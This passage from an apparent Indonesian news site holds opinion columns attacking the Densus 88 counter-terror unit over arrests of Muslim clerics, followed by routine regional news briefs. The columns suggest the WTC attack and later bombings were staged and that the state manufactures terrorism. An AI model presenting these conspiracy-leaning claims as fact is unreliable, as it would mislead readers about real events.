Henry menggiring opini, bahwa sudah sejak lama teroris tidak suka Densus 88. Dan "teroris" itu jelas dikesankan sebagai institusi MUI. Mari kita lihat jejak digital, mengapa muncul judul berita, MUI menginginkan pembubaran Densus 88. Pernyataan itu bukan resmi dari MUI, tapi dari Ustadz Tengku Zulkarnain. Sepertinya itu spontanitas, disampaikan pada latar belakang sebuah peristiwa, dimana ia memberi tanggapan berkenaan dengan Aksi Densus 88 yang mendobrak pintu Pesantren Tahfizul Qur'an al-Mukmin, Malang, yang membuat histeris santri yang sedang menghafal al-Qur'an. Penyerbuan pada pesantren itu, karena disinyalir salah satu pemiliknya adalah tersangka ISIS. Meski demikian, menurut Ustadz Zul, tindakan itu tidak bisa dibenarkan. "Oknum-oknum di tubuh Densus 88 sudah lama disinyalir sangat anti pada Islam dan umat Islam. Sudah waktunya Densus 88 dibubarkan," ucap Ustadz Zul. Tapi berita lawas itu coba diframing Prof. Henry, sehari setelah Densus 88 melakukan penangkapan terhadap 3 orang, yang salah satunya adalah anggota Komisi Fatwa MUI. Pernyataan Prof. Henry itu tendensius, sama dengan ia mencoba menggiring opini, bahwa MUI itu Teroris. Pernyataannya itu jahat, masuk kategori fitnah. Sadar atau tidak, ia telah menempatkan diri bagian dari mereka yang menghendaki pembubaran MUI. Prof. Henry Subiakto jelas ada di posisi offside. Banyak pihak yang _ngeman_ statusnya yang sebagai Guru Besar itu. Tapi tampaknya, ia sudah nyaman berada di sana, sekolam bersama. (*) *) Kolumnis

Quo Vadis Teroris Sebenarnya?

Oleh: Yusuf Blegur Di tengah kisruh dan amburadulnya penyelenggaraan negara, rakyat kembali disuguhi aksi penangkapan terduga teroris. Menariknya, tindakan cepat Densus 88 menyasar beberapa ulama dan tokoh-tokoh Islam, saat beberapa kasus yang termasuk kategori extra ordinary crime lainnya seperti korupsi, persekongkolan pembunuhan, perusakan lingkungan dll. Kejahatan-kejahatan sistematik dan terorganisir yang membahayakan kehidupan rakyat, negara dan bangsa itu, terkesan ditutup-tutupi dan lambat penanganannya. Teror, teroris dan terorisme justru seperti menjadi hak prerogatif umat Islam. Islam cenderung disematkan menjadi rahim subur dari faham intoleransi, radikalis dan fundamentalis serta banyak lagi framing jahat yang berisi justifikasi negatif dan stereotip. Semua aspek historis dan keberlangsungan nilai-nilai yang menegaskan peran serta, sumbangsih dan kebesaran Islam yang menyebabkan NKRI masih berdiri tegak hingga saat ini. Seperti terdengar sayup-sayup dan nyaris tak berarti, saat negara dinilai memaksa menghadirkan dan berhadapan dengan teroris. Tindakan pencegahan dan penanganan terhadap teroris yang mengacu pada UU Nomor 5 Tahun 2018. Mengusik keingintahuan publik terutama dikalangan umat Islam. Bahwasanya, siapakah teroris yang sesungguhnya?. Di manakah di negara ini teroris berada?. Tak luput juga terbesit rasa penasaran, apakah yang sudah dilakukan negara dalam menghadapi teroris yang nyata dan tampak di depan mata?. KONTROVERSI dan polemik penangkapan Ustad Dr. Farid Ahmad Okbah, Ustadz Dr. Ahmad Zain An Nazah dan Ustadz Dr. Anung Al-Hamat. Bukan saja seketika mengagetkan dan mengundang tanda tanya publik. Lebih dari itu menimbulkan persoalan psikis, kegelelisahan, dan menjadi teror bagi umat Islam. Pasalnya, penangkapan yang langsung diteruskan dengan tersangka teroris. Melibatkan beberapa orang yang notabene pegiat dakwah sekaligus menjabat Ketua Umum Partai Dakwah Indinesia (PDRI) dan anggota Komisi Fatwa Majelis Umat Islam. Selain menjadi representasi kelembagaan umat Islam yang penting dan strategis. Salah seorang diantaranya juga pernah berinteraksi dengan presiden RI belum lama berselang. Peristiwa penangkapan mereka yang dianggap terafiliasi dengan teroris. Sejatinya menjadi indikasi adanya masalah serius dan membahayakan pemerintahan. Masalah-masalah prinsip terkait lemahnya pertahanan keamanan negara, rapuhnya ideologi Panca Sila dan keberlangsungan NKRI. Seandainya saja Polri melalui Densus 88, telah bertindak dengan benar dan profesional. Publik patut memberi respek dan apresiasi. Apapun yang dilakukan aparatur keamanan terkait deteksi dini, pencegahan dan penanganan bahaya teror, teroris dan terorisme layak mendapat dukungan luas dari seluruh elemen bangsa. Namun hal itu tidak serta merta menghapus imej sinis dan sikap pesimis publik. Penanganan teroris di Indonesia terlanjur dimaknai dengan kedalaman apriori dan skeptis khususnya oleh umat Islam. Islam yang oleh persfektif global distempel sebagai agama kekerasan dan teroris, berimplikasi dieksploitasi sebagai komoditi politik pertahanan keamanan, politik anggaran dan politik pengalihan isu dalam skala nasional. Dilain sisi kejahatan-kejahatan yang sebangun dan linear dengan teroris. Seperti perampokan kekayaan sumber daya alam dan uang negara, penyimpangan demokrasi, penghancuran ekosistem lingkungan dan pelbagai kejahatan institusi negara yang yang mengorbankan rakyat. Terus-menerus mengalami pembiaran dan mencapai fase "colatelal damage'. Negara terkesan menjadi ambigu dalam mengangkat dan menyelesaikan permasalahan extra ordinari crime tersebut. Mirisnya lagi, dalam upaya penegakan hukum termasuk dalam menindak teroris guna menyelamatkan negara. Sebagian aparatur keamanan dihinggapi perilaku yang justru menebar teror itu sendiri. Rakyat secara terbuka mengalami maraknya kejahatan perampokan, pemerkosaan dan pembunuhan serta semua yang merugikan kepentingan publik yang dilakukan banyak aparat keamanan. Kontradiksi dalam tubuh aparat ketika menjalankan tugas dan fungsinya, seperti menebar teror di hadapan rakyat. Rakyat dan negara sudah mengalami fase dimana akal sehat dan jiwa sudah tidak sanggup lagi mengenali siapa teroris yang sesungguhnya. Kalaupun tahu dan menyadarinya, cukup dengan menelan ludah, memakan batin dan rasa kemanusiaannya. *Distorsi Intelejen dan Lemahnya Sistem Pertahanan Negara* Alih-alih memetakan wawasan kebangsaan dengan pemahaman geografis, geopolitis dan geostrategis. Pemerintah justru malah asyik bermain api dengan cenderung merekayasa dan mengelola isu teroris yang mengalihkan persoalan riil banjir Sintang Kalbar dan kroni bisnis PCR saat rakyat kelojotan pandemi. Jangankan bersiap menghadapi proxy war, perang asimetri dan Chemical, Biological, Radio Active and Explosive (CBRE). Rezim kekuasan terlihat panik sekedar menghadapi melorotnya dinamika demokrasi dan menukiknya pertumbuhan ekonomi nasional. "Power tend to corrupt - absolutely power, absolutely corrupt". Adagium itu terasa menggejala dalam tata kelola negara yang dijalankan pemerintahan sekarang ini. Kekuasaan yang semakin otoriterian dan diktatorian, pada akhirnya membuat negara menjadi begitu represif dan menggunakan tangan besi dalam menjalankan roda pemerintahan. Terlebih kepada anasir-anasir kekuatan yang dianggap mengancam dan membahayakan kepentingan kekuasaan. Institusi dan kelembagaan negara dibuat semakin berjarak dengan dinamika rakyat. Ketidakmampuan mengelola geliat dan respon rakyat terhadap penyelenggaraan negara. Membuat kekuasan semakin kalut dan kalap menyikapi tuntutan rakyat. Suara-suara rakyat yang substansinya merupakan aspirasi kritis dari upaya refleksi dan evaluasi negara dan kebangsaan. Selalu ditempatkan sebagai ujaran kebencian, agitasi dan propaganda yang merongrong ideologi, mengancam kedaulatan dan membahayakan keberadaan negara dan bangsa. Aspirasi rakyat yang tidak sesuai selera kekuasaan, senantiasa dianggap oposisi dan musuh kepentingan pemerintah. Semua bahasa dan tindakan yang tidak masuk dalam skenario kekuasaan dianggap sebagai potensi gangguan stabilitas dan keamanan negara. Kekuasaan dengan mudahnya menempelkan identifikasi dan klasifikasi perbuatan menghasut, tindakan makar dan gerakan teroris dan semua yang bertentangan dengan penyimpangan kekuasaan (abuse of power). Kegagalan kepemimpinan dan bangunan sistem pertahanan negara. Secara otomatis diikuti hancurnya kebijakan strategis dari petugas dan badan intelejen negara. Menyebabkan negara menjadi ajang unjuk kekuatan dan kekuasaan rezim semata. Fungsi dan peran intelejen hanya diberlakukan sebagai alat kekuasaan bukan sebagai alat negara. Hasilnya dapat dilihat dan dirasakan langsung ada pembajakan negara, ada manipulasi negara yang dilakukan kekuasaan. Rezim pemerintahan yang menjadi boneka oligarki, hanya bekerja mempertahankan dan membangun kesinbungan kekuasaan semata. Rezim kekuasaan secara kasat mata dapat dilihat dari praktek-praktek penyelenggaran negara yang tunduk pada kekuatan asing, namun begitu bengis dan dzolim pada rakyatnya sendiri. Membunuh demokrasi dan mengangkangi syariat Islam guna menyempurnakan kekuasaan tiran. Perilaku rezim yang menjadi representasi sekaligus sub-koordinat dari kapitalisme dan komunisme global. Pada hakekatnya merupakan perwujudan wajah baru yang modern dari kolonialime dan imperialisme. Sejatinya, baik kapitalisme dan komunisme global. Menjadikan Islam sebagai kekuatan yang menghalangi dan mengancam kepentingan kedua ideologi itu yang berasal dari produk pemikiran dan nafsu syahwat manusia. Islam akan terus diberondong dengan senjata liberalisasi dan sekulerisasi sepanjang berlangsungnya kehidupan dunia. Sembari terus memuntahkan amunisi intoleran, radikal dan fundamental bagi Islam dan semua kepentingan syariat serta aqidah umat yang mengikatnya. Termasuk memicu pelatuk teroris yang ditembakan ke umat Islam. Begitupun dengan isu teroris yang kadung menjadi senjata andalan kekuasaan dalam memberangus musuh politiknya. Setelah gagal dengan narasi intoleran, radikal dan fundamental. Seiring liberalisasi dan sekulerisasi, isu teroris terkadang dirasa penting dan efektif melemahkan umat Islam. Di lain sisi, negara dan aparatur keamanannya sering gagap dan gagal menghadapi teror, teroris dan terorisme di Maluku (RMS) dan di Papua. Meskipun masih termasuk wilayah dalam negeri, pemerintah begitu serba permisif dan lemah terhadap pemberontakan dan makar baik di Maluku maupun di Papua. Saking terafiliasinya wilayah Maluku dan Papua dengan dunia internasional. Rezim kekuasan melunak, sehingga harus mengganti istilah teroris dengan gerakan kelompok kekuatan bersenjata (KKB). Dilain sisi masih dalam NKRI, Densus 88 begitu spartan dan terukur terhadap persangkaan teroris terhadap para Ulama dan pemimpin Islam yang tak seia-sekata dengan rezim. Perhatian Densus 88 begitu detail dan fokusnya hingga sampai ke kotak amal dan pohon sawit. Berbeda dengan perlakuan terhadap Papua yang tak terurus. Jadi, harusnya rakyat keseluruhan sudah bisa memahami sebenar-benarnya apa dan siapa teror, teroris dan terorisme, yang kerapkali dialamatkan ke agama Islam dan umatnya. Setidaknya bisa membedakan mana yang menjadi kemurnian jihad fisabilillah, mana ketulusan perjuangan yang menuntut keadilan sosial serta mana yang terafiliasi dan menjadi sumber penciptaan teror, teroris dan terorisme baik di dunia dan di Indonesia. Tentunya sambil merenung dan bertanya pada rumput yang membisu. Mungkinkan aparatur pemerintah justru telah menciptakan teror?. Apakah sistem politik telah mengusung kekuatan teroris?. Atau bisakah negara telah melahirkan terorisme bagi rakyatnya sendiri dan dalam kehidupan berbangsa dan bernegara?. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari

Densus 88 Alat Politik Islamophobia

By M Rizal Fadillah JIKA dihimpun data tentang penanganan terorisme di Indonesia maka hampir seluruhnya "prestasi" Densus 88 ini berhubungan dengan umat Islam, baik organisasi, atribut, isu, aktivis maupun tokoh yang disasar. Terakhir Munarman Sekretaris FPI, Ustad Farid Oqbah Ketua Umum PDRI, DR. Ahmad Zain An Najah Anggota Komisi Fatwa MUI, dan DR. Anung Al Hamat Dosen Universitas Ibnu Khaldun. Cara menggerebek Densus 88 dinilai tidak layak, semestinya jika niat baik bukan karena sensasi, ketiganya dapat dipanggil oleh pihak Kepolisian dengan panggilan hukum. Demikian juga dengan Munarman yang Advokat terkenal. Wajar akhirnya orang mempertanyakan kinerja Densus 88, institusi penegak hukum atau alat kepentingan politik. Islamofobia yang menjadi sorotan dari kepentingannya. Anggota DPR Fraksi Gerindra Fadli Zon menyarankan agar lembaga berbiaya besar ini sebaiknya dibubarkan saja. Islamofobia tidak boleh menjadi basis kerja Densus 88. Masyarakat membandingkan tidak bekerjanya Densus menangani KKB Papua yang nyata-nyata teroris. Terorisme yang membahayakan bangsa dan negara. Sehingga muncul ejekan Densus itu beraninya hanya kepada kotak amal dan pohon kurma tetapi kepada senjata mengkerut. Terorisme Sebagai Isu Politik Sejak "penyerangan" kepada menara kembar WTC di New York memerangi terorisme menjadi isu politik global. Target yang disasar juga organisasi, atribut, isu, aktivis dan tokoh Islam. Sentral "musuh bersama" yang dijadikan hantu adalah Al Qaida. Dunia Islam dilumpuhkan dengan mengendalikan pemimpin Negara Islam dengan hantu terorisme dan nina bobo alokasi pembiayaan. Proposal penanganan aksi kelompok teroris di berbagai negara Islam bertebaran. Bom-bom car bermunculan. Akhir dari isu politik global adalah diselesaikannya tugas Osama Bin Laden yang menyisakan buntut ISIS pimpinan Abdurrahman Al Baghdadi yang ujungnya diselesaikan juga. Amerika pun hengkang. Disisakan aksi-aksi buatan di tingkat regional ataupun lokal. Ketika biaya besar berat pada aksi buatan dan jaringan maka isu pengganti yang lebih murah disiapkan di antaranya radikalisme dan intoleransi. Isu politik yang menarik dan tetap berfondasi pada Islamofobia. Kembali pada penangkapan tiga pendakwah atau ulama baru baru ini di samping dipertanyakan cara penanganan hukum dan sensasi Densus 88, juga profil yang bersangkutan yang mudah dibandingkan dengan definisi terorisme menurut UU No 5 tahun 2018. "Terorisme adalah perbuatan yang menggunakan kekerasan atau ancaman kekerasan yang menimbulkan rasa takut secara meluas yang dapat menimbulkan korban yang bersifat massal, dan/atau menimbulkan kerusakan atau kehancuran terhadap obyek vital yang strategis, lingkungan hidup, fasilitas publik atau fasilitas internasional dengan motif ideologi, politik, atau gangguan keamanan" Nah bagi yang mungkin pernah mendengarkan da'wah, pandangan keagamaan, serta perilaku/akhlak para aktivis dan ulama seperti Munarman, Ustad Farid Oqbah, DR Ahmad Zain An Najah, dan DR Anung Al Hamat adakah sedikit saja bersesuaian dengan definisi UU No 5 tahun 2018 tersebut ? Penegakan hukum atau motif politik di ruang Islamofobia ? Atau pengalihan isu oleh para koruptor dan predator bangsa dan negara ? Para radikalis, teroris, dan penjahat oligarkhi penguasa negeri yang melindungi diri dengan menyerang hantu terorisme yang sengaja dibuatnya sendiri. *) Pemerhati Politik dan Kebangsaan

Panglima TNI Jenderal Andika Perkasa Lanjutkan Program Marsekal Hadi

Jakarta, FNN - Panglima TNI Jenderal Andika Perkasa menyatakan kesanggupannya untuk melanjutkan program dan tugas Marsekal Hadi Tjahjanto yang sudah dibuat spesifik oleh UU Nomor 34 Tahun 2004 tentang TNI. Hal itu diungkapkan usai Marsekal TNI Hadi Tjahjanto menyerahkan jabatannya sebagai Panglima TNI kepada Jenderal TNI Andika Perkasa, di Mabes TNI Cilangkap, Jakarta Timur, Kamis. "Saya akan melanjutkan tugas-tugas yang sudah dilakukan oleh Marsekal Hadi Tjahjanto karena itulah yang kami geluti. Saya akan berusaha yang terbaik untuk melanjutkan," kata Andika kepada wartawan. Andika mengucapkan terima kasih kepada Marsekal TNI Hadi Tjahjanto atas pelaksanaan sertijab. "Terima kasih kepada Marsekal Hadi Tjahjanto yang membuat acara serah terima jabatan demikian berbeda. Saya sebagai junior mengucapkan terima kasih banyak, kami merasa terhormat semuanya," ucapnya. Sementara itu, Marsekal TNI Hadi Tjahjanto yang sebentar lagi purnawirawan dan mengakhiri dinas keprajuritan akan selalu berdoa untuk generasi penerus TNI agar semuanya bisa melaksanakan tugas dengan baik. "Jadikan medan penugasan menjadi ladang ibadah kepada Tuhan Yang Maha Esa agar pelaksanaan tugas pokok dapat dilaksanakan dengan tulus dan ikhlas," kata Marsekal Hadi. Khusus untuk Jenderal Andika, mantan Kepala Staf Angkatan Udara (Kasau) ini mendoakan agar Andika bisa menjalankan tugas negara dengan aman dan lancar. "Saya selalu berdoa untuk adik saya Jenderal TNI Andika Perkasa senantiasa diberikan kesehatan dan dapat melaksanakan tugas negara, tugas mulia dengan aman dan lancar," tuturnya. Setelah pensiun dari dinas keprajuritan, Marsekal Hadi akan lebih banyak di rumah dan momong cucu. "Istirahat di rumah. Momong cucu dan kembali ke teman-teman saya yang ada di Malang, Jawa Timur," ujarnya. Pelantikan Panglima TNI Jenderal TNI Andika Perkasa berdasarkan Keputusan Presiden Nomor 106/TNI/2021 tentang Pemberhentian dan Pengangkatan Panglima TNI. Keppres tersebut ditetapkan di Jakarta pada tanggal 17 November 2021. (sws)

KPPBC Babel Musnahkan Rokok Ilegal

Pangkalpinang, FNN - Kantor Pengawasan dan Pelayanan Bea dan Cukai (KPPBC) se-Provinsi Kepulauan Bangka Belitung memusnahkan rokok ilegal secara serentak senilai Rp17,7 miliar untuk mengamankan penerimaan negara. "Hari ini, kita menggelar pemusnahan rokok ilegal dan barang-barang ilegal lainnya yang merugikan negara dan masyarakat," kata Kepala Kantor Pengawasan dan Pelayanan Bea dan Cukai Tipe Madya Pabean C Kota Pangkalpinang, Yetty Yulianty di Pangkalpinang, Kamis. Ia mengatakan pemusnahan 9.865.330 batang rokok, 388.350 gram tembakau iris, dan 50 liter MMEA ilegal senilai Rp17,7 miliar dengan kerugian negara sebesar Rp12,6 miliar merupakan hasil penindakan atas pelanggaran di bidang Kepabeanan dan Cukai di Kantor Pengawasan dan Pelayanan Bea dan Cukai Tipe Madya Pabean C Pangkalpinang. "Dari keseluruhan pemusnahan secara serentak tersebut, jumlah barang yang dimusnahkan KPPBC TMP C Pangkalpinang sebanyak 125.880 batang rokok dan 884 liter minuman alkohol dengan nilai kerugian Rp131.075.200 dan potensi kerugian negara Rp61.307.710," ujarnya. Menurut dia, sebelumnya pada Februari 2021, KPPBC Tipe Madya Pabean C Pangkalpinang telah melakukan pemusnahan barang milik negara sebanyak 195.637 bungkus atau total 3.912.740 batang rokok ilegal senilai Rp3.961.897.800 dengan potensi kerugian negara Rp1.772.187.700. "Pemusnahan barang-barang ilegal ini dibakar agar rusak atau menghilangkan fungsi dan sifat awal barang sehingga tidak dapat dipergunakan lagi," katanya. Ia menambahkan pemusnahan rokok ilegal dan MMEA ini berdasarkan ketentuan di bidang Cuka sesuai Pasal 54 dan/atau Pasal 56 Undang-undang Nomor 39 Tahun 2007 tentang Perubahan atas Undang-undang Nomor 11 Tahun 1995 tentang Cukai dan diancam hukuman pidana penjara paling singkat 1 tahun dan maksimal 5 tahun penjara. "Dengan adanya pemusnahan diharapkan partisipasi dan unsur instansi pemerintah terkait dan masyarakat untuk meningkatkan sinergi dalam mengamankan hak-hak penerimaan negara maupun melindungi negara dan peredaran barang-barang berbahaya," katanya. (sws)

Satgas: Kasus Aktif COVID-19 di Kepri Tinggal 11 Orang

Tanjungpinang, FNN - Satuan Tugas Penanganan COVID-19 Provinsi Kepulauan Riau mencatat jumlah kasus aktif di lima kabupaten dan kota di provinsi itu tinggal 11 orang, sedangkan 2 kabupaten lainnya bertahan nol kasus aktif. Juru Bicara Satgas Penanganan COVID-19 Kepri Tjetjep Yudiana, di Tanjungpinang, Kamis, mengatakan kasus aktif COVID-19 di wilayah itu berada di Batam 4 orang, Tanjungpinang 2 orang, Bintan 2 orang, Karimun 2 orang, dan Kepulauan Anambas satu orang. Sementara Lingga lebih dari tiga pekan lalu nol kasus aktif COVID-19 dan Natuna lebih dari sepekan nol kasus aktif. "Kabupaten dan kota di Kepri ditetapkan sebagai Zona Kuning dengan risiko penularan rendah," kata Tjetjep yang juga mantan Kadis Kesehatan Kepri itu. Tjetjep mengungkapkan penambahan pasien baru COVID-19 ada di Tanjungpinang. Sementara enam kabupaten dan kota lainnya, tidak terjadi penambahan kasus baru sejak empat hari lalu. Namun, di Kepulauan Anambas terdapat seorang warga yang meninggal dunia karena COVID-19. "Kami imbau masyarakat untuk tetap konsisten menerapkan protokol kesehatan saat beraktivitas," katanya. Tjetjep mengemukakan total pasien COVID-19 di Kepri sejak pandemi sampai sekarang mencapai 53.868 orang, tersebar di Batam 25.920 orang, Tanjungpinang 10.228 orang, Bintan 5.583 orang, Karimun 5.486 orang, Anambas 1.846 orang, Lingga 2.310 orang, dan Natuna 2.495 orang. Jumlah pasien yang sembuh dari COVID-19 sejak pandemi mencapai 52.099 orang, tersebar di Batam 25.075 orang, Tanjungpinang 9.824 orang, Bintan 5.401 orang, Karimun 5.323 orang, Anambas 1.798 orang, Lingga 2.225 orang, dan Natuna 2.453 orang. Pasien yang meninggal dunia sejak pandemi COVID-19 sebanyak 1.758 orang, tersebar di Batam 841 orang, Tanjungpinang 402 orang, Bintan 180 orang, Karimun 161 orang, Anambas 47 orang, Lingga 85 orang, dan Natuna 42 orang. (sws)

Polda NTT Tempati Urutan Kedua Terkait Kepuasan Kamtibmas

Kupang, FNN - Kepolisian Daerah Nusa Tenggara Timur menempati urutan kedua dari 34 polda di Indonesia dalam hal dimensi kepuasan pemeliharaan keamanan dan ketertiban masyarakat (kamtibmas) berdasarkan hasil Survei Charta Politika. "Sesuai survei periode tanggal 10 hingga 22 Oktober 2021 yang dilakukan lembaga survei publik, Charta Politika, Polda NTT berada pada peringkat kedua dari 34 polda di Indonesia, sedangkan posisi pertama diraih Polda Bali," kata Kabid Humas Polda NTT Kombes Pol Rishian Krisna B kepada wartawan di Kupang, Kamis. Ia menjelaskan bahwa dimensi kepuasan pemeliharaan kamtibmas menjadi salah satu objek survei yang dilakukan Charta Politika di mana Polda NTT mendapatkan penilaian berdasarkan survei sebanyak 78,8 persen masyarakat puas terhadap pelaksanaan tugas Polda NTT. Hasil survei menyebutkan sebanyak 78,8 persen responden menyatakan puas, 7,4 persen menyatakan tidak puas, dan 13,8 persen menyatakan tidak tahu. Mantan Kapolres Timor Tengah Utara (TTU) itu menambahkan dimensi kepuasan pemeliharaan kamtibmas tersebut meliputi beberapa indikator,, kepuasan kinerja polda melakukan tugas kamtibmas dan kepuasan kinerja penegakan hukum terkait pelanggaran lalu lintas. "Kemudian kepuasan kinerja menjaga keutuhan NKRI, kepuasan kinerja menjaga kerukunan masyarakat, dan mengatur lalu lintas," ujar dia Selain meraih peringkat II pada dimensi Kepuasan Pemeliharaan Kamtibmas, katanya, Polda NTT meraih peringkat V Dimensi Kualitas Sumber Daya Manusia Polisi. "Pada dimensi kualitas sumber daya manusia polisi, Polda NTT masuk dalam lima besar peringkat polda dengan capaian kepuasan publik 65,6 persen," tambah dia. Menanggapi hal tersebut, Kapolda NTT Irjen Pol Lotharia Latif menyampaikan terima kasih kepada seluruh jajaran Polda NTT yang bekerja penuh dedikasi dan seluruh masyarakat yang telah memberikan kepercayaan terhadap capaian kinerja Polda NTT. "Capaian yang diraih tersebut merupakan prestasi bersama dan kolaborasi yang baik antara anggota Polda NTT, stakeholder bersama masyarakat," tambah dia. (sws)

Kapolda: Operasi Zebra di NTT Fokus Keselamatan Berlalu Lintas

Kupang, FNN - Kapolda NTT Irjen Pol Lotharia Latif mengatakan bahwa Operasi Zebra Ranakah 2021 di provinsi ini fokus pada keamanan, keselamatan, ketertiban, dan kelancaran lalu lintas (kamseltibcarlantas) serta imbauan antisipasi COVID-19. "Sebenarnya fokus Operasi Zebra Ranakah 2021 masih pada kamseltibcarlantas," katanya kepada ANTARA di Kupang, Kamis. Hal ini disampaikannya ketika ditanyai terkait langkah Polri, khususnya Polda NTT untuk menekan emisi kendaraan bermotor dengan menggelar Operasi Zebra. Kapolda NTT mengatakan bahwa untuk menekan emisi kendaraan bermotor, pihaknya bekerja bersama dengan Dinas Perhubungan Provinsi dan Dinas Perhubungan Kabupaten/Kota. "Dalam pelaksanaannya, polisi bersama Dinas Perhubungan melakukan patroli dan random cek kendaraan yang ditemui di jalan," ujar dia. Namun pada dasarnya, ujar dia, hal itu merupakan kewenangan Dinas Perhubungan Provisni maupun kabupaten/kota. Kapolda mengatakan untuk saat ini pihaknya lebih fokus pada keselamatan berlalu lintas dan penanganan COVID-19. Di mana petugas lantas mengimbau dan membagi masker untuk masyarakat yang ditemui di jalan. Sementara itu Kepala Dinas Perhubungan NTT Ishak Nuka mengatakan bahwa untuk emisi karbon kendaraan bermotor kewenangannya ada di Dinas Perhubungan Kota/Kabupaten. "Hal ini karena mereka yang selama ini selalu melakukan uji KIR kendaraan bermotor," tambah dia. Namun, ujar Ishak, Dinas Perhubungan NTT mendorong agar Dinas Perhubungan di kabupaten/kota dapat melakukan uji KIR kendaraan bermotor dengan benar. Hal ini, tambah dia, demi kebersihan lingkungan dan udara di NTT, khususnya di Kota Kupang dan kabupaten lainnya. (sws)

Polres Enrekang Ajak Pengendara Uji Emisi Gas Buang

Makassar, FNN - Polres Enrekang, Sulawesi Selatan, mengajak para pengendara agar rutin melakukan pengujian emisi gas buang untuk membantu pemerintah mewujudkan program langit biru. Kapolres Enrekang AKBP Andi Sinjaya Ghalib, di Makassar, Rabu, mengatakan dengan bertambah banyaknya jumlah kendaraan bermotor beroperasi di jalan berdampak pada penurunan kualitas udara karena emisi gas buang banyak berasal dari kendaraan bermotor. "Program pemerintah mewujudkan langit biru dengan mengurangi polusi udara harus didukung dan melalui Operasi Zebra 2021, kami melakukan sosialisasi itu," ujarnya. Ia menjelaskan gas buang yang berasal dari kendaraan, umumnya memiliki dampak negatif terhadap lingkungan dan kesehatan manusia. Oleh karena itu, kata dia, untuk mengetahui kondisi kualitas udara dari sumber kendaraan bermotor perlu dilakukan pengujian parameter kualitas udara dari emisi gas buang. "Setiap pemilik kendaraan yang beroperasi di jalan wajib melakukan uji emisi kendaraan bermotor," katanya. Andi Sinjaya menyatakan setiap warga yang memiliki kendaraan harus menyadari bahwa kendaraan bermotor akan menghasilkan emisi gas buang berupa karbon dioksida. "Gas ini yang menyebabkan kadar oksigen menipis sehingga dapat mengganggu kesehatan dan sangat berbahaya bagi organ tubuh kita, seperti paru-paru," terangnya. Melalui Operasi Zebra 2021 selama 14 hari, pihaknya mengajak masyarakat pemilik kendaraan bermotor untuk melakukan pengujian emisi gas buang. Pengujian emisi gas buang diatur dalam Pasal 48 ayat 3 huruf a UU Nomor 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan. "Setiap kendaraan bermotor yang dioperasikan di jalan harus memenuhi persyaratan teknis dan laik jalan, persyaratan laik jalan tersebut salah satunya mengatur tentang emisi gas buang," ucapnya. Untuk sanksi hukum apabila tidak melakukan uji emisi gas buang diatur dalam Pasal 285 ayat 1 Jo Pasal 48 ayat 3 huruf A kurungan 1 bulan denda Rp250 ribu untuk kendaraan roda 2, sedangkan.Pasal 286 jo Pasal 48 ayat 3 huruf A kurungan 2 bulan denda Rp500 ribu untuk kendaraan roda 4 atau lebih. (sws)

Kejari Tahan Mantan Ketua Badan Akreditasi Nasional PAUD Kalteng

Palangka Raya, FNN - Kejaksaan Negeri Palangka Raya menahan ARD selaku mantan Ketua Badan Akreditasi Nasional Pendidikan Anak Usia Dini dan Pendidikan Non-Formal (BAN PAUD dan PNF) Kalimantan Tengah karena diduga terlibat korupsi. Kepala Kejaksaan Tinggi Kalimantan Tengah Iman Wijaya melalui Kasi Penkum Dodik Mahendra, di Palangka Raya, Kamis, membenarkan bahwa tersangka ARD ditahan di Rutan Kelas II A Palangka Raya selama 20 hari ke depan sampai 5 Desember 2021. Dodik menjelaskan ARD disangkakan melakukan tindak pidana korupsi (tipikor) penyimpangan pengelolaan dana bantuan operasional pelaksanaan Akreditasi Pendidikan Anak Usia Dini dan Non Formal Provinsi Kalimantan Tengah Tahun Anggaran 2019. Dana bantuan operasional tersebut berasal dari DIPA Balitbang Kemendikbud Tahun Anggaran 2019. Saat tersangka ARD menjabat Ketua BAN PAUD dan PNF menerima bantuan sebesar Rp4,2 miliar. Berdasarkan audit BPKP Kalteng ada kerugian keuangan negara sebesar Rp522.295.494. Tindakan merugikan negara dilakukan tersangka dengan modus membuat item-item fiktif. "Sebelum ditahan, ARD terlebih dahulu ditetapkan sebagai tersangka dengan Sprint Nomor: Print-01/O.2.10/Fd.1/11/2021 Tanggal 16 November 2021," kata Dodik. Penetapan tersangka ARD dilakukan setelah adanya dua alat bukti yang cukup dan pengakuan tersangka ketika diaudit BPKP. Dalam kasus ini, Kejaksaan sudah memeriksa 22 orang saksi, termasuk Kepala BP-PAUD dan pejabat di Kemendikbud. Dodik menyebutkan mengenai keterlibatan orang lain dan pejabat di Kalteng dalam perkara itu, pihaknya masih mendalami. Karena untuk pertanggungjawaban dana ini langsung kepada kementerian bukan daerah. Untuk mempertanggungjawabkan perbuatannya, tersangka ARD disangkakan melanggar Pasal 2 ayat (1) jo Pasal 18 (ayat) 1 huruf b UU No.31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana telah diubah dan ditambah dengan UU Nomor 20 Tahun 2001 tentang Perubahan Atas UU Nomor. 31 Tahun 1999 tentang Pemberantasan Tipikor. Subsider Pasal 3 Jo Pasal 18 UU No.31 Tahun 1999 tentang Pemberantasan Tipikor yang telah diubah dan ditambah dengan UU No. 20 Tahun 2001 tentang Perubahan atas UU No.31 Tahun 1999 tentang Pemberantasan Tipikor dengan ancaman pidana penjara maksimal seumur hidup. "Selama proses penitipan tahanan di Rutan Klas II A Palangka Raya berjalan lancar, kondusif, dan tetap memperhatikan protokol Kesehatan dengan ketat," demikian Dodik. (sws)

Sekretaris Jenderal OKI Hissein Ibrahim Taha Mulai Berkantor di Jeddah

Jeddah, FNN - Hissein Ibrahim Taha resmi menjabat sebagai Sekretaris Jenderal Organisasi Kerja Sama Islam (OKI). Ia mulai berkantor di Jeddah, Arab Saudi. Menurut keterangan yang diperoleh dari OKI, Hissein yang berasal dari Republik Chad dipilih dalam Pertemuan ke-47 Dewan Menteri Luar Negeri OKI di Niamey, Republik Niger, pada November 2020. Dikutip dari Antara, Kamis, 18 November 2021, pertemuan itu menyepakati Hissein, yang merupakan perwakilan kelompok Afrika, sebagai Sekjen OKI dengan masa jabatan selama lima tahun mulai November 2021. Hissein merupakan diplomat Chad yang pernah menjabat sejumlah posisi. Antara lain, menteri luar negeri, penasehat diplomatik kepresidenan, dan duta besar luar biasa untuk Prancis, Spanyol, Portugal, dan Yunani. Dia juga menjabat sebagai Penasehat Senior Kedubes Chad di Arab Saudi, dan pernah dianugerahi Bintang Jasa Republik Chad dan Bintang Jasa Prancis. OKI adalah organisasi negara-negara berpenduduk mayoritas muslim yang dibentuk 